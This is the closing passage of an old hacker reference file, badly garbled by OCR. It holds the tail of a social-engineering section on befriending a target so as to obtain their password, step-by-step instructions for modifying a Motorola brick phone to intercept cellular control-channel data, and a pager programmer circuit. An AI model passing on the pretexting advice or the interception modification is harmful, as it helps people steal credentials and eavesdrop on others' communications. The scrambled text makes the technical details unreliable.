then ask them a bunch of questions to get to know what they |ike and then when you later call to
get there password you use this information to get on there better side and win there trust. This
is

called nental hacking and it is not that hard at all. One thing that the hackers of today have
lost is

there social skills. Sonme systens don’'t have software exploits. Sonetimes you have to go the
extra mile. Note: Don't get me wong and think | am sone weirdo about the way | tal ked about

men and wonen but, | do know people well

[17.0.0] Making a DDI froma Mtorola Brick phone

By Virtual of Cybrids CSE

www. cybri ds. org

K, here it is, i'mnot gonna talk about it a whole lot, just tell you

what i've done, and what i want to see done. As of this point | have

found the O ock, Data, and the spot where you woul d feed your audi o i nput
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fromyour scanner that has WBFM

First you will need to |l ocate the chip that has the clock and data pins.
This will be | abel ed SC3800xxFN, or sonething close to that, xx being sone
nunbers. Having trouble already, then i'll tell ya another way, its the

bi ggest PLCC (square) chip in the phone. Now |l ook at the chip, there is a
notch on the front of it which nmeans pin 1. Now |l ook at the opposite side
of that dot, to the pins on the bottom count over fromthe left, pins 8
and 9 fromthe left side are the ones you want. | have included a picture
of the inside of a brick phone. The red arrow points to the side of the
chip that | amtalking about. Pin 8 is the data and Pin 9 is the cl ock
Those are the pins that will be fed to your conputer for decoding.

The receiver chip is what you need to nodify next. It's on the circuit board
with the big white rectangle thing, and the big peices of netal, its the
only square chip you can see. Its got a few nunbers on it and i'll put em
here to help you find it, 185, X94R01l, sonething to that effect, but just

| ook for the only PLCC chip visible. | have marked this chip with a blue
circle. Wth the phone oriented Iike in the picture, cut the trace com ng
fromthe bottompin on the right of the chip. Connect your scanner's OUTPUT
to the other side of that trace (not the one conecting to the chip).

Cut it in the center so you will have roomto solder to either side

of the wire trace. The pin coning off the chip is what the cellular phone
is receiving, the other side of the wire trace that you cut is where its

bei ng sent.

That about suns up what you need to know, if you have any ot her non-bonehead
questions, i'min #cellular on EFnet nost all the time and #Cybrids on

Under net .

Now here is what | want to see happen, for all the smart guys out there.

Scanners are cool, but why use it, the phone is capable of receiving the

RECC wi t hout a scanner, | amworking on nakin this happen right now, but

with others help, i'msure this could get done a | ot faster, and would

benefit everyone greatly.

Cabl e connections to the conputer

DDI Parallel Port

Cl ock 10

Data 15

G ound 18

Speci al Note: The graphic that is referenced in this portion can be obtained at the rhino9 website
or directly fromVirtual. Find himin #cybrids on Undernet.

(Bewar e of new technol ogy comi ng out from conpani es such as Cellul ar One, technol ogi es such

as FPF Protection which requires you to enter an access code to make out going calls on your

cel | phones.)

[18.0.0] Pager Progranmer

By Virtual of Cybrids CSE

In order to build a pager programer, you are going to need a few things. A soldering

Iron, the pager you are going to program and a few brain cells. You will also need the software
that is used to programyour specific pager which can be found on ny web page at the bottom of
the text. The diagram | have included should be self explanatory but | will say a few things about
it just incase. The only chip needed is the Max233 which will convert the serial port voltage
down

to TTL | evel so the pager can understand it. Normally a serial port communicates with +15 volts
being a logic high and -15 being a logic Iow. The chip converts this down to TTL which is 0 - 5
volts where O is lowand 5 is high. The chip is shown inside the plastic hood that covers the
connector. Make sure your hood is plastic and not netalized as this is real netal coating and
will

short the pins. This side will plug into your serial port. The 4 pin connector shown will go to
t he

pager. Were it says +5 volts is where you supply the chip with 5 volts, its not a 5 volt output.
A

circuit like this could be used to generate the +5 volts using the very common 7805 vol t age
regul at or.
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| 7805

| |

|11

Vin | | | Vout

I

--- gnd

Vin = Voltage in, 6-12 volt wall adaptor, + goes to Vin, - goes to gnd

Vout = +5 volts out

gnd = ground, could be thought of as m nus

You will also have to supply your pager with power, which is probably 1.5 volts. Then

you will have to find the transmit and receive pins on your pager and hook it up to the
programer accordingly. The only way to do this is to open up your pager and | ook around for
sonmet hing that night | ook |ike a progranm ng connector or pad with 3 or 4 wires, don't confuse
this with the connector that connects the processor and receiver boards in Mtorola Bravo
pagers. | can't give exact instructions here because unfortunately | do not own every pager in
t he

world. If they aren't hooked up correctly when you run the pager programm ng software it will

j ust

give you an error but won't affect the pager, so just switch the wires around. Make sure you
hooked the ground to the pager too, or else nothing will work. The gnd wire shoul d be connected
to the mnus termnal on the pagers battery connector

The chip, hood, and connector can be bought at Digi Key. This is by far the sinplest and

easiest to build design |I've seen on the net. Mtorola' s web page shows all of their pager designs
so you can figure out what type of pager you have, and can then get the software for it.
Progranmmi ng Software: http://ww.cybrids.org/virtual/

Mot orol a: http://ww. nmot. com M Ms/ MSPQ cgi - bi n/ prodcat . cgi

Speci al Note: The graphic that is referenced in this portion can be obtained at the rhino9 website
or directly fromVirtual. Find himin #cybrids on Undernet.

[19.0.0] The End

Rhi no9 and the other people that attributed to this docunment have enjoyed passing on their

know edge and will continue to do so. Be on the | ook out next year for The MHD version 2.0.
Stop persecuting and crimnalizing the curious.

Peace.

file://ID|/WEB/hacker/TheModHackReference.txt (169 of 169) [9/12/2004 8:18:42 PM]



	Local Disk
	file:///D|/WEB/hacker/TheModHackReference.txt


